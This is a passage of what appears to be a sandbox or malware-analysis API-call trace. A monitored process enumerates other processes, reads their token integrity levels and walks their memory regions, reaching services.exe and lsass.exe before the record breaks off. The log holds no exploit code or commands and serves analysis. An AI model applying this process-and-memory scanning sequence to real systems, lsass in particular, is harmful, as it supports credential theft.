IsWow64Process (in: hProcess=0x164, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.659] NtQueryInformationProcess (in: ProcessHandle=0x164, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.659] GetProcessTimes (in: hProcess=0x164, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.659] OpenProcessToken (in: ProcessHandle=0x164, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.659] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.660] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.660] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.660] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.661] NtClose (Handle=0x2a0) returned 0x0 [0094.661] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.661] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x1601000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x1601000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x2c000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x162d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x162d000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x162e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x162e000, AllocationBase=0x0, AllocationProtect=0x1600000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xd2000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x1700000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x1700000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xe0000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x17e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x17e0000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1e000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x17fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x17fe000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x17ff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x17ff000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x5c000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x185b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x185b000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x185f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x185f000, AllocationBase=0x0, AllocationProtect=0x17e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.664] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x1860000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x1860000, AllocationBase=0x0, AllocationProtect=0x1860000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2cf000), ResultLength=0x0) returned 0x0 [0094.666] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x770c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x770c2000, AllocationBase=0x0, AllocationProtect=0x77040000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.666] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x770d2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x770d2000, AllocationBase=0x0, AllocationProtect=0x77040000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.666] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x770d4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x770d4000, AllocationBase=0x0, AllocationProtect=0x77040000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x66000), ResultLength=0x0) returned 0x0 [0094.667] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7713a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x7713a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0094.667] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff70000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x14000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff84000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff85000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff87000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff89000, AllocationBase=0x0, AllocationProtect=0xfff30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0xfff92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfff92000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xfa6ce000), ResultLength=0x0) returned 0x0 [0094.668] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefa660000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfa660000, AllocationBase=0x7fe, AllocationProtect=0xfa660000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.670] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefb2c1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfb2c1000, AllocationBase=0x7fe, AllocationProtect=0xfb2b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.670] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefb2c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfb2c2000, AllocationBase=0x7fe, AllocationProtect=0xfb2b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.670] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefb2c5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfb2c5000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xb000), ResultLength=0x0) returned 0x0 [0094.670] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefb2d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfb2d0000, AllocationBase=0x7fe, AllocationProtect=0xfb2d0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.671] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefba1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfba1f000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xc000), ResultLength=0x0) returned 0x0 [0094.671] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefba2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfba2b000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.671] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefba2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfba2d000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.671] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefba2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfba2e000, AllocationBase=0x7fe, AllocationProtect=0xfb9e0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.671] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefba36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfba36000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xc4a000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc680000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc680000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc6bf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc6bf000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc6c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc6c0000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc6c1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc6c1000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc6c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc6c2000, AllocationBase=0x7fe, AllocationProtect=0xfc680000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc6c7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc6c7000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2b9000), ResultLength=0x0) returned 0x0 [0094.672] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc980000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc980000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc993000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc993000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc994000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc994000, AllocationBase=0x7fe, AllocationProtect=0xfc980000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefc997000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfc997000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf9000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefca90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfca90000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefcabe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfcabe000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefcabf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfcabf000, AllocationBase=0x7fe, AllocationProtect=0xfca90000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefcac2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfcac2000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x48e000), ResultLength=0x0) returned 0x0 [0094.673] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefcf50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfcf50000, AllocationBase=0x7fe, AllocationProtect=0xfcf50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe123000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe124000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe124000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe125000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe125000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe127000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe127000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe12f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe12f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.678] NtQueryVirtualMemory (in: ProcessHandle=0x164, Address=0x7fefe130000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe130000, AllocationBase=0x7fe, AllocationProtect=0xfe130000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.680] QueryFullProcessImageNameW (in: hProcess=0x124, dwFlags=0x0, lpExeName=0xa7f7b0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x119fa50) returned 1 [0094.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7f7b0) returned 1 [0094.681] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.681] IsWow64Process (in: hProcess=0x124, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.682] NtQueryInformationProcess (in: ProcessHandle=0x124, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.682] GetProcessTimes (in: hProcess=0x124, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.682] OpenProcessToken (in: ProcessHandle=0x124, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.682] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.682] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.682] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.682] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.683] NtClose (Handle=0x2a0) returned 0x0 [0094.683] NtQueryVirtualMemory (in: ProcessHandle=0x124, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.683] NtQueryVirtualMemory (in: ProcessHandle=0x124, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.701] QueryFullProcessImageNameW (in: hProcess=0x174, dwFlags=0x0, lpExeName=0xa7f7b0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x119fa50) returned 1 [0094.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7f7b0) returned 1 [0094.702] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.702] IsWow64Process (in: hProcess=0x174, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.702] NtQueryInformationProcess (in: ProcessHandle=0x174, 